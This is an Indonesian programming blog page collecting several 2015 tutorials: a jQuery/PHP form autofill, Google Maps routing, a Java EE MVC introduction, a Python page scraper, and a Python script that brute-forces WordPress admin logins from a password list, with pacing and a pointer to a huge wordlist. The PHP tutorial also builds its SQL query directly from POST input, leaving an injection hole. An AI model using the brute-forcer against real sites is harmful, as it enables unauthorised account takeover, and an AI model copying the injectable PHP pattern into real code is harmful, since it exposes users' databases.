Cara mudah belajar pemrograman komputer

Selasa, 15 Desember 2015

Mengisi salah satu field di form secara otomatis


Kembali lagi di coretan-coretan kecil dari programmer goBlog. Tulisan kita kali ini akan membahas tentang bagaimana mengisi sebuah field tertentu pada form berdasarkan inputan pada fiel lain.
Tulisan ini dilatar belakangi pertanyaan salah seorang teman yang bertanya "Misalkan ada form data mahasiswa dengan field NPM dan nama, apakah bisa field nama terisi otomatis ketika kita mengisikan NPM pada field npm?"
Jawabanya tentu saja bisa.
Pada studi kasus yang akan kita bahas ini, kita akan menerapkanya pada form di sebuah website.
Kali ini kita akan memanfaatkan salah satu framework javascript yang cukup merakyat yaitu jQuery dan kemampuan ajax yang dimilikinya.
Kita buat dulu sebuah database dengan nama datamahasiswa, kemudian buat satu tabel dengan nama mahasiswa dengan dua field npm sebagai primary key dan nama.

--------------------------------------------------------

CREATE DATABASE datamahasiswa;
use datamahasiswa;
create table mahasiswa(
    npm int not null PRIMARY KEY,
    nama varchar(30) not null
    );
    
insert into mahasiswa(
    npm, nama) VALUES (10753001,'Nama Mahasiswa1');
insert into mahasiswa(
    npm, nama) VALUES (10753002,'Nama Mahasiswa2');
insert into mahasiswa(
    npm, nama) VALUES (10753003,'Nama Mahasiswa3');
insert into mahasiswa(
    npm, nama) VALUES (10753004,'Nama Mahasiswa4');

--------------------------------------------------------

Selanjutnya kita buat file form.html dan ajaxrespon.php
form.html ini kita gunakan untuk menampilkan form kita.sedangkan ajaxrespon.php akan kita gunakan untuk menangani ajaxrequest dari jQuery kita pada form yang kita buat.



isi dari form.html

<!DOCTYPE html>
<html>
<head>
 <title>BELAJAR AJAX</title>
 <script type="text/javascript" src="https://code.jquery.com/jquery-2.1.4.min.js"></script>   <!-- INCLUDE jQuery -->
</head>
<body>
<form action="#" method="post">
 <input type="text" name="npm" id="npm" placeholder="NPM">
 <input type="text" name="nama" id="nama" placeholder="Nama">
 <input type="submit" value="simpan">
</form>

<script type="text/javascript">
$(document).ready(function(){

 $('#npm').change(function(){    // KETIKA ISI DARI FIEL 'NPM' BERUBAH MAKA ......
  var npmfromfield = $('#npm').val();  // AMBIL isi dari fiel NPM masukkan variabel 'npmfromfield'
  $.ajax({        // Memulai ajax
    method: "POST",      
    url: "ajaxrespon.php",    // file PHP yang akan merespon ajax
    data: { npm: npmfromfield}   // data POST yang akan dikirim
  })
    .done(function( hasilajax ) {   // KETIKA PROSES Ajax Request Selesai
        $('#nama').val(hasilajax);  // Isikan hasil dari ajak ke field 'nama' 
    });
 })
});
</script>
</body>
</html>


isi script ajaxrespon.php

<?php
$koneksi = mysql_connect("localhost","root","");    // BUKA KONEKSI DENGAN DATABASE MYSQL
             // host : localhost - user : root - password : kosong

$db = mysql_select_db('datamahasiswa');    // TENTUKAN NAMA DATABASE

$npm = $_POST['npm'];        // Menerima NPM dari JQuery Ajax dari form

$s = mysql_query("select * from mahasiswa where npm='$npm'"); // Ambil nama mahasiswa berdasarkan npm yang dikirim dari jquery ajax
while ($data = mysql_fetch_array($s)) {       
 echo $data[1];            // Print nama hasil perolehan dari query database
}
?>

Demikian coretan kecil dari programmer goBlog kali ini apabila ada pertanyaan jangan ragu untuk meninggalkan jejak di kolom komentar.
Semoga bermanfaat.

Rabu, 09 Desember 2015

Menambahkan rute di peta google map api untuk GIS



Beberapa hari yang lalu ada salah seorang dari pembaca blog ini mengirimkan email kepada saya menanyakan tentang bagaimana menambahkan atau membuat rute dari gedung A ke gedung B. Atau dari koordinat A ke koordinat B.

Bukanya pelit untuk membalas email, tetapi saya rasa jauh lebih baik jika saya bagikan di blog saja, supaya apabila ada yang membutuhkan tinggal comot di blog ini.

Baiklah langsung saja kita buat rute di web gis google map kita.
Dalam praktik untuk tulisan kali ini saya menggunakan sourcecode dari tulisan sebelumnya di sini dengan sedikit modifikasi tentunya.

Berikut contoh script untuk menampilkan rute pada peta gis google map kita.



  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<!DOCTYPE html>
<html>
<head>
 <title>ROUTE MAP</title>
 <style type="text/css">
  html, body {
        height: 100%;
        margin: 0;
        padding: 0;
       }
       #map_canvas {
         height: 100%;
       }
 </style>
</head>
<body>
 <div id="map_canvas">  

 </div>



</body>
<script type="text/javascript" src="http://maps.google.com/maps/api/js"></script>  
<script type="text/javascript">
 //DUA VARIABLE BERIKUT DIPERLUKAN UNTUK RUTE
 var directionsDisplay;
 var directionsService = new google.maps.DirectionsService();


 (function() {  // fungsi untuk dijalankan ketika halaman web dubuka  
   var infowindow = null;  
      
   initialize(); // mengeksekusi fungsi initialize()  
     
  })();  
    
    function initialize() {  

     //BARIS DIBAWAH INI JUGA DIPERLUKAN UNTUK RUTE
     directionsDisplay = new google.maps.DirectionsRenderer();

        // Baris berikut digunakan untuk mengisi marker atau tanda titik di peta  
        var sites = [  
    
         ['Polinela', -5.358725,105.233413 ,1, '<h4>Politeknik Negeri Lampung</h4><p>Keterangan didalam marker</p>'], // pertama merupakan judul market, kedua adalah titik koordinan latitude, ketiga longitude, dan keempat merupakan z index (titik mana yang ditampilkan lebih dulu) untuk menentukan titik mana diatas titik mana, ketiga merupakan isi keterangan marker nya.  
         ['Unila', -5.364505,105.243442 ,2, '<h4>Universitas Lampung</h4><p>Keterangan didalam marker</p>'],  
         ['DJ',-5.3745833,105.2425024,3,'<h4>IBI DARMAJAYA</h4><p>Keterangan untuk marker</p>']
   
        ];  
        var centerMap = new google.maps.LatLng(-5.364505,105.243442); // mengatur pusat peta  
          
        var myOptions = {  
          zoom: 15, // level zoom peta  
          center: centerMap, // setting pusat peta ke centerMap  
          mapTypeId: google.maps.MapTypeId.ROADMAP //menentukan tipe peta  
        }  
    
        var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); //menempatkan peta pada div dengan ID map_canvas di html  

        //BARIS DIBAWAH INI UNTUK MELETAKKAN RUTE PADA MAP "map_canvas" ^
      directionsDisplay.setMap(map);

        setMarkers(map, sites); // memanggil fungsi setMarker untuk menandai titik di peta.  
          
        infowindow = new google.maps.InfoWindow({  
            content: "loading..."  
          });  
    
        var bikeLayer = new google.maps.BicyclingLayer();  
        bikeLayer.setMap(map); //memnunculkan peta  

        //BARIS DIBAWAH INI UNTUK MEMANGGIL FUNGSI calcRoute()
        calcRoute();   
      }  
    
        

        //FUNGSI CALCROUTE UNTUK MENGGAMBAR RUTE DARI TITIK A KE TITIK B / START ke END
        function calcRoute() {
    var start = '-5.358725,105.233413';
    var end = '-5.3745833,105.2425024';
    var request = {
      origin:start,
      destination:end,
      travelMode: google.maps.TravelMode.DRIVING
    };
    directionsService.route(request, function(result, status) {
      if (status == google.maps.DirectionsStatus.OK) {
        directionsDisplay.setDirections(result);
      }
    });
  }
    
    
     
        function setMarkers(map, markers) {  
         //berikut merupakan perulangan untuk membaca masing masing titik yang telah kita definisikan di sites[];  
        for (var i = 0; i < markers.length; i++) {  
          var sites = markers[i];  
          var siteLatLng = new google.maps.LatLng(sites[1], sites[2]);  
          var marker = new google.maps.Marker({  
            position: siteLatLng,  
            map: map,  
            title: sites[0],  
            zIndex: sites[3],  
            html: sites[4]  
    
          });  
    
          var contentString = "Some content";  
          // berikut merupakan fungsi untuk mengatur agar keterangan marker muncuk ketika mouse diarahkan ke marker (mouse over)  
          google.maps.event.addListener(marker, "mouseover", function () {  
              
            infowindow.setContent(this.html);  
            infowindow.open(map, this);  
          });  
        }  
      }  
    

</script>

</html>

Disetiap Baris yang saya tambahkan untuk memunculkan rute di peta telah saya tambahkan komentar. sehingga sobat bisa membedakan perubahan/modifikasi yang saya buat dari script pada tutorial sebelumnya sehingga bisa menampilkan rute atau track dari satu titik ke titik lain.
sekian, semoga bermanfaat.

Kamis, 19 November 2015

Membuat website dengan java

Sobat programmer goblog.
Kali ini berdasarkan beberapa pertanyaan seputar website menggunakan teknologi java maka pada tulisan ini penulis menyempatkan untuk memberikan pengantar pemrograman javaEE untuk membuat web atau web application berbasis java.

Seperti yang kita ketahui bahwa java terdiri dari j2se (Java 2 standard edition) java untuk pemrograman desktop; j2me (java 2 micro edition) atau java untuk perangkat mobile dan embedded device; dan j2ee (java 2  Enterprise Edition)
Kalau belajar java core pasti semua sudah mendapatkan materi di kampus atau sekolah masing masing, dan kalau membuat web dengan php pasti sudah umum dijumpai. Maka kali ini kita akan sedikit berkenalan dengan javaEE dan membuat website menggunakan teknologi ini.

Hal hal yang pertama dibutuhkan untuk belajar membuat website dinamis menggunakan java adalah JDK tentunya, kemudian dibutuhkan juga IDE dan web server untuk java. untuk JDK sobat bisa download secara gratis di website oracle java disini 
Kemudian untuk IDE bisa menggunakan eclipse for javaEE disini 
dan untuk server kita bisa menggunakan apache tomcat 7, bisa di download atau menggunakan yang telah terintegrasi dengan eclipse, pada tutorial kita ini akan menggunakan tomcat bawaan eclipse.

Sebelum lanjut ke tutorialnya penulis akan sedikit menyinggung soal metode yang akan kita gunakan. Pada tutorial ini penulis menggunakan metode MVC atau model view control karena memang penulis lebih nyaman dengan metode ini. Untuk penjelasan singkat tentang MVC ini sobat bisa membacanya disini 

Baiklah kita lanjut ke tutorial.
Pertama kita download dan install Java Development Kit (JDK)
Kemudian download dan extract eclipse for javaEE dan jalankan eclipse.

Pada jendela eclipse yang telah terbuka.
Pilih menu File -> New -> dynamic web project
input nama projectnya, kemudian click finish.





Selanjutnya pada kolom project explorer didalam java resource, klik kanan pada folder src dan pilih new package, kemudian pada jendela yang keluar ketikkan nama package dan click fisnish.



Selanjutnya pada package yang kita buat tadi kita buat satu class java untuk controller kita.
klik kanan pada package tersebut kemudian pilih new->class
Pada jendela yang muncul ketik nama classnya kemudian hilangkan centang pada bagian which method.....



kemudian click finish.
Kita biarkan dulu file tersebut.
Masih pada package yang sama kita buat satu file servlet yang akan menjadi controller kita.
Klik kanan pada package tersebut, pilih new->servlet Beri nama kemudian klik finish.




Selanjutnya kita akan membuat view yang akan menampilkan website kita, klik kanan pada folder WebContent pilih new -> Jsp File




Setelah ketiga file tersebut terbuat kita akan mulai coding..



Oke, untuk tutorial ini kita akan mencoba untuk menampilkan nama dan alamat orang.
Kita mulai dari class Model1 yang kita buat tadi.
Kita buat variable private untuk nama dan alamat.
Kemudian kita buat juga method untuk setter dan getter kedua variable tersebut.



Selanjutnya pada file controller kita, kita akan membuat script untuk menangani aksi pada website yang akan kita buat.
Pada file tersebut telah ada dua method doGet dan doPost.
Kita dapat menggunakan yang mana saja, namun pada tutorial ini kita akan menggunakan doPost, sebab kita akan membuat form input dengan metode post.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.programmergoblog.belajarjavaweb;

public class Model1 {
 private String nama="";
 private String alamat="";
 
 
 public String getNama() {
  return nama;
 }
 public void setNama(String nama) {
  this.nama = nama;
 }
 public String getAlamat() {
  return alamat;
 }
 public void setAlamat(String alamat) {
  this.alamat = alamat;
 }
 
 
 
}


hapus coding yang sudah ada pada method tersebut dan kita buat method kita sendiri.
pertama kita akan melakukan instansiasi dari class Model1 kedalam object orang.
kemudian kita ambil post dari form jsp (akan kita buat nanti) dan memasukkannya kedalam variable nama dan alamat yang kita buat melalui instansiasi object orang tadi menggunakan method setter.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.programmergoblog.belajarjavaweb;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class Controller1
 */
@WebServlet("/Controller1")
public class Controller1 extends HttpServlet {
 private static final long serialVersionUID = 1L;
       
    /**
     * @see HttpServlet#HttpServlet()
     */
    public Controller1() {
        super();
        // TODO Auto-generated constructor stub
    }

 /**
  * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
  */
 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  Model1 orang = new Model1();
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);
 }

 /**
  * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
  */
 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  Model1 orang = new Model1();
  
  String namaDariForm = request.getParameter("nama");
  String alamatDariForm = request.getParameter("alamat");
  
  orang.setNama(namaDariForm);
  orang.setAlamat(alamatDariForm);
  
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);
  
 }

}


selanjutnya kita forward data tersebut kembali ke file jsp untuk ditampilkan di browser.

pada file view1.jsp kita akan menangani data yang kita peroreh dari controller dan menampilkanya pada halaman browser.
tambahkan baris ini sebulum tag <html>

<jsp:useBean id="orang" scope="request" class="com.programmergoblog.belajarjavaweb.Model1"></jsp:useBean>

selanjutnya pada bagian body html kita akan menampilkan nama dan alamat tadi.

Nama : <jsp:getProperty property="nama" name="orang"/>
<br>
Alamat : <jsp:getProperty property="alamat" name="orang"/>


<form action="Controller1" method="post">
<input type="text" name="nama">
<br>
<input type="text" name="alamat">
<br>
<input type="submit" value="daftar">
</form>



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<jsp:useBean id="orang" scope="request" class="com.programmergoblog.belajarjavaweb.Model1"></jsp:useBean>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Insert title here</title>
</head>
<body>
Nama : <jsp:getProperty property="nama" name="orang"/>
<br>
Alamat : <jsp:getProperty property="alamat" name="orang"/>


<form action="Controller1" method="post">
 <input type="text" name="nama">
 <br>
 <input type="text" name="alamat">
 <br>
 <input type="submit" value="daftar">
</form>


</body>
</html>



Sekarang kita kembali pada file controller1 dan menambahkan srcipt didalam doGet.
Skrip ini diperlukan untuk menangani aksi ketika web dikunjungi pertama kali, karena method post yang kita buat sebelumnya tadi tidak terakses pada saat pertama controller kita diakses dari brower.

tambahkan scrip ini didalam method tersebut,


1
2
3
Model1 orang = new Model1();
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);




kemudian kita bisa menjalankan program dengan klik menu run pilih run, pada jendela yang muncul klik finish.






Sikahkan isi form dan klik daftar untuk melihat hasil program kita tadi.


Sekian tulisan dari programmerGoBlog kali ini, semoga dapat sedikit menjadi pengantar untuk anda yang ingin belajar pemrograman web menggunakan java.
Apabila ada perbedaan pendapat, kritik, serta saran yang membangun ataupun sekedar ingin bertanya dan request tutorial terkait pemrograman, jangan ragu untuk meninggalkan jejak di kolom komentar.
Terimakasih telah berkunjung.



Selasa, 10 November 2015

Pemrograman sebagai kemampuan untuk mempermudah pekerjaan

Tulisan kali ini hanya dibuat untuk catatan penulis apabila dibutuhkan suatu waktu, namun apabila ada yang memerlukan baik untuk belajar maupun sebagai acuan, maka dipersilahkan untuk mengambil, memodifikasi, dan atau menggunakan tulisan ini.

Tulisan programmer goBlog kali ini dilatarbelakangi oleh proses submission e-journal untuk di index di International Scientific Indexing atau ISIIndexing.
Proses awal submission pada isi indexing adalah kita diwajibkan untuk mengisi form submission di websita isiindexing.com untuk selanjutnya submission akan dievaluasi dan apabila disetujui maka akan diindex sementara di website isi.
Beberapa hari setelah mengisi form submission, penulis dihubungi oleh ISI Indexing yang menyatakan bahwa jurnal yang saya ajukan telah diindex sementara dan diwajibkan menyelesaikan proses submission dengan membayar sejumlah biaya.

Pada tahap ini penulis merasa bingung karena tidak menembukan dimana journal yang penulis usulkan di index, karena menggunakan fasilitas search penulis tidak menemukan hasil.

Kemudian terfikir bahwa mungkin memang tidak bisa di cari menggunakan fasilitas search karena proses submission belum selesai. Namun pada halaman ini http://isindexing.com/isi/journals.php penulis melihat banyak juga jurnal yang belum menyelesaikan proses submission namun telah terindex sementara disana. Penulis kemudian mencoba mencari dari halaman ke halaman apakah FIAT JUSTISIA (nama jurnal yang penulis ajukan untuk di index) ada dalam daftar tersebut atau tidak.
Memperhitungkan banyaknya halaman yang harus penulis cek untuk memastikan keberadaan jurnal ini pada index ISI dan dengan koneksi internet yang lumayan menguras kesabaran, akhirnya penulis memutuskan untuk menulis program yang dapat mencari nama FIAT Justisia di index ISI secara otomatis.
Karena pada saat itu penulis tidak sedang berada di komputer yang biasa penulis gunakan untuk coding, akhirnya diputuskan untuk menggunakan bahasa pemrograman seadanya yang kebetulan sempat penulis install di komputer kantor tersebut.

Menggunakan bahasa pemrograman python, akhirnya dibuatlah script program sebagai berikut.



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

#########################################################################################
#  Program Untuk Menemukan Apakah FIAT JUSTISIA TELAH DIINDEX OLEH isindexing   #
#  Ditulis Oleh : Jaylani Chalax                                                   #
#  Tanggal : 10/11/205                                                             #
#########################################################################################

page = 0;
limit =50;

while page<=1150:
 p = requests.get("http://isindexing.com/isi/journals.php?page="+str(page)+"&limit=50")
 print str(page)
 if "fiat" in p.content:
  print str(page)
  print "ini Fiat"
  break
 else:
  print "ini bukan fiat"

 print p.status_code
 page = page+limit



Script program ini hanya memiliki satu tugas yaitu, buka halaman listing index milik isi dii http://isindexing.com/isi/journals.php kemudian munculkan 50 hasil dan scan apakah terdapat kata "Fiat" pada halaman tersebut, jika ya maka beritahu kami bahwa di halaman tersebut terdapat kata fiat dan hentikan proses pencarian.
Apabila tidak ditemukan pada halaman tersebut maka beritahu kami bahwa tidak ditemukan kata fiat pada 50 list pertama, lantas lanjutkan ke list 50 sampai 100 dengan menaikkan nilai page dari 0 ditambah limit. page=page+limit

Setelah program dijalankan dan mengakses list ke 400-450 maka program akhirya menemukan journal FIAT JUSTISIA ada dalam daftar tersebut.

Nah begitulah kira kira penjelasan program kecil nan sederhana ini, yang akhirnya memudahkan penulis untuk menemukan journal FIAT JUSTISIA telah terindex sementara oleh isi dan dapat melanjutkan proses submission jurnal ke tahap selanjutnya.


Programmer goBlog akhirnya memutuskan untuk menulis latar belakang serta hasil dari permasalahan sederhana ini dan memasukkannya kedalam blog programmerGoBlog selain sebagai pengingat juga dimaksudkan untuk menunjukkan bahwa pemrograman dapat dimanfaatkan untuk menyelesaikan perkara yang menyusahkan dan merepotkan dengan cara yang mudah dan menyenangkan.

Akhirkata apabila ada kritik saran dan atau pertnyaan, jangan ragu untuk meninggalkan jejak pada kolom komentar.

Minggu, 01 November 2015

Script hacking wordpress dengan teknik bruteforce

Halo halo..
Lagi lagi bahasan kita kali ini seputar hacking, tentunya dari sudut pandang programmer..
Kali ini kita akan membahas tentang salah satu teknik hacking yaitu BruteForce dan mengamplikasikan kemampuan programming kita untuk membuat program yang akan kita gunakan untuk menyerang website berbasis wordpress.

Apa sih teknik bruteforce itu? bruteforce merupakan sebuah teknik untuk masuk kedalah sistem (hacking) dengan mencoba semua password dan username yang mungkin, teknik ini bisa kita lakukan dengan mencoba secara manual, tetapi kalau kita seorang programmer, maka kita tulis saja sebuah program untuk melakukan teknik ini secara otomatis.
Nah kali ini kit akan membahas dan membuat program sederhana untuk terknik bruteforce ini yang ditujukan untuk website berbasis cms wordpress.

Program yang akan kita tulis ini menggunakan bahasa pemrograman python, tetapi dengan mengerti alur logikanya maka sobat programmer goBlog bisa membuat ulang program ini dengan bahasa pemrograman apapun yang sobat inginkan.

Okeh beritku script programnya

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# ############################################################################ #
# bruteforce for wordpress                                                     #
# author chalax                                                                #
# ############################################################################ #

import requests
import time


with open ("data.txt", "r") as myfile:
    data=myfile.readlines()

cond = "true"
s=0
while cond:
 z = data[s].rstrip('\n')
 try:

 
  r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})

  if "incorrect" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
   
  elif "empty" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  elif "login_error" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  else:
   print r.content
   print "Password ditemukan :"+z

   break
  # time.sleep(1)
  if s%100==0:
   time.sleep(10)
  s=s+1
  except requests.exceptions.RequestException as e:    
  print e


Dan berikut penjelasanya.
Baris pertama dan kedua adalah untuk mengimport librari python yang dibutuhkan
Dua baris berikutnya adalah untuk mengambil daftar password yang akan kita gunakan yang berada didalam file data.txt dan menyimpannya kedalam variable data

baris dari cond = "true"
Set variable cond dengan isi true untuk digunakan sebagai kondisi pada perulangan while.
baris dibawah variable cond adalah variable s dengan ini 0, ini adalah variable untuk menentukan dari baris ke berapa password yang akan dicoba pada file data.txt
Karena file data.txt menyimpan satu password dalam satu baris.

password1
password2
password3
password4
password..dst

selanjutnya perulangan while dilakukan.

z = data[s].rstrip('\n')

Baris ini digunakan untuk menghilangkan kode new line -- \n -- atau karakter enter dari setiap baris password yang kita dapat dari file data.txt dan mey
selanjutnya adalah blcok try and catch, block
try:

except.request.exceptions.RequestException as e:
print e

Block try and catch ini diperlukan agar perulangan tidak terhenti apabila terjadi error seperti koneksi ke server terputus atau website down sementara pada saat percobaan.

r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})
baris ini membuat post request ke halaman login wordpress dan mengirimkan data login berupa username admin dan password dari variable z.

baris berikutnya adalah if dan else dimana apabila hasil dari baris diatas menghasilkan kata "Incorrect" atau "empty" atau "login_error" maka cetak keterangan bahwa login gagal, jika tidak terkandung salah satu dari tiga kata diatas maka kemungkinan percobaan berhasil dan cetak password yang dicoba, kemudian hentikan proses looping while dengan baris break

Baris
if s%100 ==0

baris ini adalah untuk menghentikan sementara proses percobaan setiap 100 kali mencoba, hal ini bertujuan agar website yang sedang kita coba bruteforce tidak down karena terlalu banyak request.

kemudian baris selanjutnya adalah untuk meningkatkan nilai variable s atau dengan kata lain untuk memberitahu perulangan while untuk mencoba baris berikutnya dari file data.txt



Nah kurang lebih begitulah bentuk dari program kita yang sangat sederhana untuk menebak password wordpress. Dengan menggunakan teknik yang sama dan sedikit modifikasi maka program ini dapat digunakan untuk hack password website lain tidak hanya wordpress atau bisa juga untuk hack password wifi, hack wifi id dll dll.
Sedangkan isi dari file data.txt sobat bisa buat sendiri dengan memasukkan semua password yang ingin di coba dengan format satu baris satu password dan menyimpan nya dengan nama data.txt

atau kalau mau download bisa download disini, kurang lebih sekitar 700MB dan milyaran password didalamnya.

Popular Posts

Recent Posts

Unordered List

Pages

Kunjungan

Diberdayakan oleh Blogger.